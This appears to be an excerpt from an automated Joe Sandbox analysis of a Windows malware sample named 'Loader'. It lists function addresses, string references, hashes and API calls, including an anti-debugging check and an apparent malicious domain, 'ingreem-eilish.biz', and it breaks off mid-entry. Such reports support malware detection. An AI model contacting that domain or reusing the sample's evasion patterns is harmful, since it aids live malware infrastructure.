Opcode ID: 9a636d5796887f43aa66b35729ae550750b6e45f9f73b07dca059b58692eeb33
Instruction ID: c037ae53e2741cfe5d1e278cccd328068a01863ae5e71d1cc9f2f688d72b6fda
Opcode Fuzzy Hash: 9a636d5796887f43aa66b35729ae550750b6e45f9f73b07dca059b58692eeb33
Instruction Fuzzy Hash: 1CF06774D1220DEBCB14EBB4D6899DEB7F4FF1C204B5145A6A412E7104E734A7849F50

Function 0041E790 Relevance: 5.9, Strings: 4, Instructions: 901COMMON

Download Yara Rule

Strings

&[da, xrefs: 0041EE70
\X, xrefs: 0041EA58
"=$5, xrefs: 0041EAF3
'%.W, xrefs: 0041EB09

Memory Dump Source

Source File: 00000001.00000002.2711152065.0000000000401000.00000020.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2711128299.0000000000400000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2711188320.0000000000440000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2711209643.0000000000443000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2711231008.0000000000454000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Loader.jbxd

Similarity

API ID:
String ID: "=$5$&[da$'%.W$\X
API String ID: 0-3996675343
Opcode ID: 72735fe613da29a2a9f30f99bcf3e8ab70917fe6899e91424263f497d90dfd44
Instruction ID: 1f7b9d891a837fd2c1889f1d16761606eef6dcf163077f6c21b04c916aa521c0
Opcode Fuzzy Hash: 72735fe613da29a2a9f30f99bcf3e8ab70917fe6899e91424263f497d90dfd44
Instruction Fuzzy Hash: E662597450C3919BC321CF25C8506ABBFE1AF95314F1887BEE8E44B392D7398946C796

Function 004339F0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 109COMMON

Download Yara Rule

APIs

GetSystemMetrics.USER32 ref: 00433A3E
GetSystemMetrics.USER32 ref: 00433A4D

Strings

, xrefs: 00433B21

Memory Dump Source

Source File: 00000001.00000002.2711152065.0000000000401000.00000020.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2711128299.0000000000400000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2711188320.0000000000440000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2711209643.0000000000443000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2711231008.0000000000454000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Loader.jbxd

Similarity

API ID: MetricsSystem
String ID:
API String ID: 4116985748-3916222277
Opcode ID: e1c78a85c073594b75890c03197e051504a5e28f3cbe51423f7dbecb5aa6b388
Instruction ID: 9919e99d947470de0ad43a1edc8932ab1666953d7c59876c21ae7e6382b5c0c6
Opcode Fuzzy Hash: e1c78a85c073594b75890c03197e051504a5e28f3cbe51423f7dbecb5aa6b388
Instruction Fuzzy Hash: 735161B4E152189FDB40EFACD98569DBBF0BB88300F114529E498E7360D734AD84CF96

Function 0040DF04 Relevance: 5.3, Strings: 4, Instructions: 339COMMON

Download Yara Rule

Strings

C566, xrefs: 0040E250
8A23, xrefs: 0040E25B
255B, xrefs: 0040E271
E5E1, xrefs: 0040E266

Memory Dump Source

Source File: 00000001.00000002.2711152065.0000000000401000.00000020.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2711128299.0000000000400000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2711188320.0000000000440000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2711209643.0000000000443000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2711231008.0000000000454000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Loader.jbxd

Similarity

API ID:
String ID: 255B$8A23$C566$E5E1
API String ID: 0-3367982953
Opcode ID: f0eae71c9d6d3c7835d1a474653f2e65b944a28a3ad533d021ed57ddccbba122
Instruction ID: c9ab22a39130a17e05ee61a651d87010c03896c5afd99520b9bc1921e18da37f
Opcode Fuzzy Hash: f0eae71c9d6d3c7835d1a474653f2e65b944a28a3ad533d021ed57ddccbba122
Instruction Fuzzy Hash: 03A12B316593924BD3348B258C91BEBBBE1EBD2314F088A7DD4D897792F73848069792

Function 0042822E Relevance: 5.3, Strings: 4, Instructions: 270COMMON

Download Yara Rule

Strings

MO, xrefs: 00428516
AC, xrefs: 004284FE
IK, xrefs: 0042850E
XY, xrefs: 00428532

Memory Dump Source

Source File: 00000001.00000002.2711152065.0000000000401000.00000020.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2711128299.0000000000400000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2711188320.0000000000440000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2711209643.0000000000443000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2711231008.0000000000454000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Loader.jbxd

Similarity

API ID:
String ID: XY$AC$IK$MO
API String ID: 0-664538580
Opcode ID: af46b7993aa1ccbcd2e1645b036d6b68a91456e6c26b5bb98e83f5d9dfdf7b8c
Instruction ID: 39428194e500b5a53c6aae23f15327502ea0c60e828c0b8a3651ea1546d1f37d
Opcode Fuzzy Hash: af46b7993aa1ccbcd2e1645b036d6b68a91456e6c26b5bb98e83f5d9dfdf7b8c
Instruction Fuzzy Hash: 9A8124B6A09310DFD7109F25E84172FB7E1ABC5304F154A3EE98597381EB38E9058B8B

Function 0040E59D Relevance: 4.8, APIs: 1, Strings: 2, Instructions: 301COMMON

Download Yara Rule

APIs

CoUninitialize.OLE32 ref: 0040E5A9

Strings

ingreem-eilish.biz, xrefs: 0040E9A3
D, xrefs: 0040E5BE

Memory Dump Source

Source File: 00000001.00000002.2711152065.0000000000401000.00000020.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2711128299.0000000000400000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2711188320.0000000000440000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2711209643.0000000000443000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2711231008.0000000000454000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Loader.jbxd

Similarity

API ID: Uninitialize
String ID: D$ingreem-eilish.biz
API String ID: 3861434553-1775330692
Opcode ID: 1a2b36ded3d63c48934e883b06f9b4d8cc45036b94076ba770b07ddeb3608e72
Instruction ID: 22ccddc28fc708269306c978beef408f1ed5ca82190ea807a368fb49a74d3678
Opcode Fuzzy Hash: 1a2b36ded3d63c48934e883b06f9b4d8cc45036b94076ba770b07ddeb3608e72
Instruction Fuzzy Hash: 5BA1F17550C3928BD739CF268450BEBBBE2AFE2300F18896DD0D55B392D7790906CB96

Function 011C8BE4 Relevance: 4.6, APIs: 3, Instructions: 77COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32(?,?,?,?,?,?), ref: 011C8CDC
SetUnhandledExceptionFilter.KERNEL32(00000000,?,?,?,?,?,?), ref: 011C8CE6
UnhandledExceptionFilter.KERNEL32(?,?,?,?,?,?,?), ref: 011C8CF3

Memory Dump Source

Source File: 00000001.00000002.2711904877.0000000000EF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EF0000, based on PE: true

Associated: 00000001.00000002.2711885433.0000000000EF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2712181197.00000000011D1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2712202246.00000000011D7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2712222775.00000000011D9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_ef0000_Loader.jbxd

Similarity

API ID: ExceptionFilterUnhandled$DebuggerPresent
String ID:
API String ID: 3906539128-0
Opcode ID: 00981c66348ef0b40980e0599513f82ba3030a5fc14f887ac0b7f6b99a15c40c
Instruction ID: 3975b60bd4dc0c5d8961d89020e3bd2951ce568611fdd286b67ab9a976b19b5d
Opcode Fuzzy Hash: 00981c66348ef0b40980e0599513f82ba3030a5fc14f887ac0b7f6b99a15c40c
Instruction Fuzzy Hash: AA31E87490122DABCB25DF68D8887DDBBB8BF18710F5041EAE41CA7250E7709F858F45

Function 004277A0 Relevance: 4.4, Strings: 3, Instructions: 632COMMON

Download Yara Rule

Strings

SO, xrefs: 0042804B
:>8., xrefs: 004278A1
=81;, xrefs: 00427D5C

Memory Dump Source

Source File: 00000001.00000002.2711152065.0000000000401000.00000020.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2711128299.0000000000400000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2711188320.0000000000440000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2711209643.0000000000443000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2711231008.0000000000454000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Loader.jbxd

Similarity

API ID:
String ID: :>8.$=81;$SO
API String ID: 0-596420614
Opcode ID: b862dca480a246b022d7e0da2e616d285275df2dc89570896f01fd18fba204d9
Instruction ID: e0f39ee0ef8aad66e5f4eb59653e3d911f017b98dc62c0ad19d3a25678c4c286
Opcode Fuzzy Hash: b862dca480a246b022d7e0da2e616d285275df2dc89570896f01fd18fba204d9
Instruction Fuzzy Hash: B81233B1A0C351CBC7148F25E84166BBBE1EF86318F18886EE5D58B342E739D906CB57

Function 00F1DA80 Relevance: 4.2, Strings: 3, Instructions: 486COMMON

Download Yara Rule

Strings

=, xrefs: 00F1E055
]., xrefs: 00F1DD9C
W<, xrefs: 00F1DB58

Memory Dump Source

Source File: 00000001.00000002.2711904877.0000000000EF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EF0000, based on PE: true

Associated: 00000001.00000002.2711885433.0000000000EF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2712181197.00000000011D1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2712202246.00000000011D7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2712222775.00000000011D9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_ef0000_Loader.jbxd

Similarity

API ID:
String ID: =$W<$].
API String ID: 0-346867940
Opcode ID: 8b8bc62358491bb0bb9e4ed2def56676a28b6e9853effc2d684f76f6b0b2f10f
Instruction ID: 62d96ae4b2894c4899798aef787fca2a9be0c63ec6b680157ec9a328cbfb3df3
Opcode Fuzzy Hash: 8b8bc62358491bb0bb9e4ed2def56676a28b6e9853effc2d684f76f6b0b2f10f
Instruction Fuzzy Hash: C0029D32A433558FC32CDE6DF9D21A4B7E4F79832974442BBD968CB2C8E3655889D780

Function 0041542D Relevance: 4.2, Strings: 3, Instructions: 445COMMON

Download Yara Rule

Strings

{, xrefs: 004154EB
M99, xrefs: 00415450
M99, xrefs: 00415590, 004155E3

Memory Dump Source

Source File: 00000001.00000002.2711152065.0000000000401000.00000020.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2711128299.0000000000400000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2711188320.0000000000440000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2711209643.0000000000443000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2711231008.0000000000454000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Loader.jbxd

Similarity

API ID:
String ID: M99$M99${
API String ID: 0-726366120
Opcode ID: 4518d23ef3c3a1572746b5f32e4e7f738ad1ec23c563525293a5832030b7192f
Instruction ID: f63e886754d2f8b0a4918178e697645c79cb63f24128d1e0e3a60bf90f675cf0
Opcode Fuzzy Hash: 4518d23ef3c3a1572746b5f32e4e7f738ad1ec23c563525293a5832030b7192f
Instruction Fuzzy Hash: 76E1F675208381CBD724CF28D8957EBBBE2EFD5304F18886DE4D987292D7389846CB56

Function 00428889 Relevance: 4.1, Strings: 3, Instructions: 378COMMON

Download Yara Rule

Strings

dUgS, xrefs: 0042898F
y}zN, xrefs: 004289B7
LoWf, xrefs: 0042894B

Memory Dump Source

Source File: 00000001.00000002.2711152065.0000000000401000.00000020.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2711128299.0000000000400000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2711188320.0000000000440000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2711209643.0000000000443000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2711231008.0000000000454000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Loader.jbxd

Similarity

API ID:
String ID: LoWf$dUgS$y}zN
API String ID: 0-3353942304
Opcode ID: c56ece68d25b053fc45e7bbabff213bb9af3a884a6344b36a553f0283c3d2f6e
Instruction ID: 9afdd42b56ae40ab4dd5e281407d5461c0fd8baedc768c94432ec64788af82fb
Opcode Fuzzy Hash: c56ece68d25b053fc45e7bbabff213bb9af3a884a6344b36a553f0283c3d2f6e
Instruction Fuzzy Hash: 60E13775609391CFD714CF28E8A071EBBE2FF8A314F45866DE4955B3A2C7349940CB4A

Function 00F03010 Relevance: 3.8, Strings: 2, Instructions: 1258COMMON

Download Yara Rule

Strings

(, xrefs: 00F03214
T, xrefs: 00F03209

Memory Dump Source

Source File: 00000001.00000002.2711904877.0000000000EF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EF0000, based on PE: true

Associated: 00000001.00000002.2711885433.0000000000EF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2712181197.00000000011D1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2712202246.00000000011D7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2712222775.00000000011D9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_ef0000_Loader.jbxd

Similarity

API ID:
String ID: T$(
API String ID: 0-912061130
Opcode ID: 798c944a0b5ea13ddaf8aa9a95a2fe42bedcd817a1115da83d9037213bbee807
Instruction ID: 93989ace4de276bdb8e310f1c7634ed97050259def6c9c4e49c5709f4a117206
Opcode Fuzzy Hash: 798c944a0b5ea13ddaf8aa9a95a2fe42bedcd817a1115da83d9037213bbee807
Instruction Fuzzy Hash: 6EB29032E022598FCB18CFADE8925EDBBF4FB58324B04417AD868E7384E3355985DB50

Function 00404C60 Relevance: 3.3, Strings: 2, Instructions: 819COMMON

Download Yara Rule

Strings

8, xrefs: 00405577
0, xrefs: 0040557F

Memory Dump Source

Source File: 00000001.00000002.2711152065.0000000000401000.00000020.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2711128299.0000000000400000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2711188320.0000000000440000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2711209643.0000000000443000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2711231008.0000000000454000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Loader.jbxd

Similarity

API ID:
String ID: 0$8
API String ID: 0-46163386
Opcode ID: fd3430a49e53e44d2c1b800aecf7f30112ca0deec01d32340aaa44e71317447b
Instruction ID: b632590525e39ce5a857bdb2105f3f6bf93eafba229eb97f7c3f587b0413ca56
Opcode Fuzzy Hash: fd3430a49e53e44d2c1b800aecf7f30112ca0deec01d32340aaa44e71317447b
Instruction Fuzzy Hash: B17245716083409FDB14CF18C884BABBBE1EF84314F04892EF9899B391D779D949CB96

Function 00430161 Relevance: 3.1, APIs: 2, Instructions: 121COMMON

Download Yara Rule

APIs

VariantClear.OLEAUT32 ref: 0043016D
VariantInit.OLEAUT32 ref: 0043017F

Memory Dump Source

Source File: 00000001.00000002.2711152065.0000000000401000.00000020.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2711128299.0000000000400000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2711188320.0000000000440000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2711209643.0000000000443000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2711231008.0000000000454000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Loader.jbxd

Similarity

API ID: Variant$ClearInit
String ID:
API String ID: 2610073882-0
Opcode ID: 9c25163ce398a7b029c4444921b319866883930bdaffdc4c83f29d4f0e634296
Instruction ID: 6ba9ae55c9c609b8c98ae8d3013d17b988d2f3c8137f657ab236dd5297d85bd1
Opcode Fuzzy Hash: 9c25163ce398a7b029c4444921b319866883930bdaffdc4c83f29d4f0e634296
Instruction Fuzzy Hash: E7515D61208FC18ED321CB388848387BFD26B67214F498A9CD1FE8B3D6DB756549C762

Function 00414170 Relevance: 3.1, Strings: 2, Instructions: 599COMMON

Download Yara Rule

Strings

wY, xrefs: 00414388
K%, xrefs: 0041430C

Memory Dump Source

Source File: 00000001.00000002.2711152065.0000000000401000.00000020.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2711128299.0000000000400000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2711188320.0000000000440000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2711209643.0000000000443000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2711231008.0000000000454000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Loader.jbxd

Similarity

API ID:
String ID: K%$wY
API String ID: 0-861939988
Opcode ID: 4c105dcb673ca409fed3b26638ef582e7e71751691f37f625785e2df2b92ac95
Instruction ID: 972d4f943efe6639fd8cdc6de93a4f537478db6c0949f012f7129216f2549232
Opcode Fuzzy Hash: 4c105dcb673ca409fed3b26638ef582e7e71751691f37f625785e2df2b92ac95
Instruction Fuzzy Hash: 17E144B55183008BD3149F28D8917ABB3E0FFD6314F19892EE8C597391E738D986C79A

Function 004042D0 Relevance: 2.8, Strings: 2, Instructions: 329COMMON

Download Yara Rule

Strings

), xrefs: 0040434B
IEND, xrefs: 004046C1

Memory Dump Source

Source File: 00000001.00000002.2711152065.0000000000401000.00000020.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2711128299.0000000000400000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2711188320.0000000000440000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2711209643.0000000000443000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2711231008.0000000000454000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Loader.jbxd

Similarity

API ID:
String ID: )$IEND
API String ID: 0-707183367
Opcode ID: 1b6de2c190c02fbea61387cb34139e6b47e564e05f79e2f2ac439f578bf2f602
Instruction ID: 9e91746e592093abc6b78d22eaac013f7dd1cf175606ed20a1766aa15e76428f
Opcode Fuzzy Hash: 1b6de2c190c02fbea61387cb34139e6b47e564e05f79e2f2ac439f578bf2f602
Instruction Fuzzy Hash: 03D1BFB1A083449FD710DF14D84575BBBE4ABD4308F14492EFA99AB3C2E379E904CB96

Function 0043F280 Relevance: 2.8, Strings: 2, Instructions: 324COMMON

Download Yara Rule

Strings

e>3@, xrefs: 0043F335
i>3@, xrefs: 0043F365

Memory Dump Source

Source File: 00000001.00000002.2711152065.0000000000401000.00000020.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2711128299.0000000000400000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2711188320.0000000000440000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2711209643.0000000000443000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2711231008.0000000000454000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Loader.jbxd

Similarity

API ID: InitializeThunk
String ID: e>3@$i>3@
API String ID: 2994545307-675609054
Opcode ID: 1779fb8af645c331d5a66977d562ed93066847e2f24aa5bb139e768eaa31bd98
Instruction ID: d63809bf3076d72f070bdb060dff65e02fc893e24afa0153ad856657245a98a7
Opcode Fuzzy Hash: 1779fb8af645c331d5a66977d562ed93066847e2f24aa5bb139e768eaa31bd98
Instruction Fuzzy Hash: 83A1F436A083119BC724DF18C88092BB7E2FF9C710F19947DE8869B365DB35AC55CB86

Function 00415EDC Relevance: 2.8, Strings: 2, Instructions: 300COMMON

Download Yara Rule

Strings

!LDw, xrefs: 00415EFB
D, xrefs: 0041627B

Memory Dump Source

Source File: 00000001.00000002.2711152065.0000000000401000.00000020.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2711128299.0000000000400000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2711188320.0000000000440000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2711209643.0000000000443000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2711231008.0000000000454000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Loader.jbxd

Similarity

API ID:
String ID: !LDw$D
API String ID: 0-631248872
Opcode ID: dc6169488d60e39e14afbbbe44962d8ec75923c6dd643a2a98093ad71e27ba6d
Instruction ID: 7e09ab24442d4b71b88b13391f34237f2dfc9f095084ee9819a17599225fc662
Opcode Fuzzy Hash: dc6169488d60e39e14afbbbe44962d8ec75923c6dd643a2a98093ad71e27ba6d
Instruction Fuzzy Hash: BCA1A1B0118340CFD724DF24C8A1BABBBF1FF96305F09595DE48A4B2A2E7798945CB46

Function 00424280 Relevance: 2.8, Strings: 2, Instructions: 275COMMON

Download Yara Rule

Strings

rBB, xrefs: 00424262
bBB, xrefs: 0042424F

Memory Dump Source

Source File: 00000001.00000002.2711152065.0000000000401000.00000020.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2711128299.0000000000400000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2711188320.0000000000440000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2711209643.0000000000443000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2711231008.0000000000454000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Loader.jbxd

Similarity

API ID:
String ID: bBB$rBB
API String ID: 0-3277761424
Opcode ID: bb51691f9dde2279535c869879990e0e1ffd92db3571b05c63e2572ef1324b61
Instruction ID: be6856a020535e4a6e683abf22a1b7757c0c9bd1d2ca0ad35f5e609e3485cc7a
Opcode Fuzzy Hash: bb51691f9dde2279535c869879990e0e1ffd92db3571b05c63e2572ef1324b61
Instruction Fuzzy Hash: 83713579A0C3409FD724CF18EC41BABB7E4EB86308F50493EF59997282D774A905CB96

Function 00419BFF Relevance: 2.8, Strings: 2, Instructions: 253COMMON

Download Yara Rule

Strings

_q0s, xrefs: 00419D66
gfff, xrefs: 00419C2D

Memory Dump Source

Source File: 00000001.00000002.2711152065.0000000000401000.00000020.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2711128299.0000000000400000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2711188320.0000000000440000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2711209643.0000000000443000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2711231008.0000000000454000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Loader.jbxd

Similarity

API ID:
String ID: _q0s$gfff
API String ID: 0-1196501146
Opcode ID: bbe2847cc035eb94d765ed87b187a5de19f998dd8160d28f4ca51f335dabcf03
Instruction ID: 9ac1f0c1fc7a49e8154fcc72e3c80d4cb5b55f6ce251fccbb0b8a1824a22e975
Opcode Fuzzy Hash: bbe2847cc035eb94d765ed87b187a5de19f998dd8160d28f4ca51f335dabcf03
Instruction Fuzzy Hash: 3E71B2726093508BC724DF25C8622EB77E2FFD5364F188A2DD8998B395E7388941C786

Function 0042A0E0 Relevance: 2.6, Strings: 2, Instructions: 93COMMON

Download Yara Rule

Strings

{, xrefs: 0042A102
gy, xrefs: 0042A0F2

Memory Dump Source

Source File: 00000001.00000002.2711152065.0000000000401000.00000020.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2711128299.0000000000400000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2711188320.0000000000440000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2711209643.0000000000443000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2711231008.0000000000454000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Loader.jbxd

Similarity

API ID:
String ID: gy${
API String ID: 0-2069607922
Opcode ID: da2f2a0c6207235e0a990dccae0dbce93f9678055be0d1fcb7fe1bdd5a6a2c50
Instruction ID: 431e554adce80ef47d4d1f40f80e38f5c8695c8e2ce9c58edc59fdf38191c638
Opcode Fuzzy Hash: da2f2a0c6207235e0a990dccae0dbce93f9678055be0d1fcb7fe1bdd5a6a2c50
Instruction Fuzzy Hash: 3331FFB02883948FD3508F119C80B6FBBF1FBC6714F149A6CE6D1AB291C77990468B0A

Function 00EF1000 Relevance: 2.5, Strings: 1, Instructions: 1213COMMON

Download Yara Rule

Strings

bmy, xrefs: 00EF12AA

Memory Dump Source

Source File: 00000001.00000002.2711904877.0000000000EF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EF0000, based on PE: true

Associated: 00000001.00000002.2711885433.0000000000EF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2712181197.00000000011D1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2712202246.00000000011D7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2712222775.00000000011D9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_ef0000_Loader.jbxd

Similarity

API ID:
String ID: bmy
API String ID: 0-4149787075
Opcode ID: 61d022077e6a2341986c098e972a1cb8eef2a13e135f4d275527c5a816620eb6
Instruction ID: f5ab0193b59fe8e79b319db8544de2e2decb58f69456fbb9bb30fc882693dbd0
Opcode Fuzzy Hash: 61d022077e6a2341986c098e972a1cb8eef2a13e135f4d275527c5a816620eb6
Instruction Fuzzy Hash: 76C25676D022698FCB18DFA9D4921ECBBF1FF68314B14816AD4A5E7784E3385A81CF50

Function 0043B100 Relevance: 2.0, Strings: 1, Instructions: 734COMMON

Download Yara Rule

Strings

f, xrefs: 0043B391

Memory Dump Source

Source File: 00000001.00000002.2711152065.0000000000401000.00000020.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2711128299.0000000000400000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2711188320.0000000000440000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2711209643.0000000000443000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2711231008.0000000000454000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Loader.jbxd

Similarity

API ID: InitializeThunk
String ID: f
API String ID: 2994545307-1993550816
Opcode ID: c7c0c1f47888a00f76dfdd9b993ea855ebbf2e381001f44f89dc36debc6416fd
Instruction ID: fe604cc3133df0d3ef17166e2c6d21145ffaf46a9ca28f7e45b4cb97c9031a62
Opcode Fuzzy Hash: c7c0c1f47888a00f76dfdd9b993ea855ebbf2e381001f44f89dc36debc6416fd
Instruction Fuzzy Hash: 632213756083418FD714CF19C880B2BB7E2EBC9318F199A6EE595873A1D734EC01CB96

Function 0043D980 Relevance: 2.0, Strings: 1, Instructions: 709COMMON

Download Yara Rule

Strings
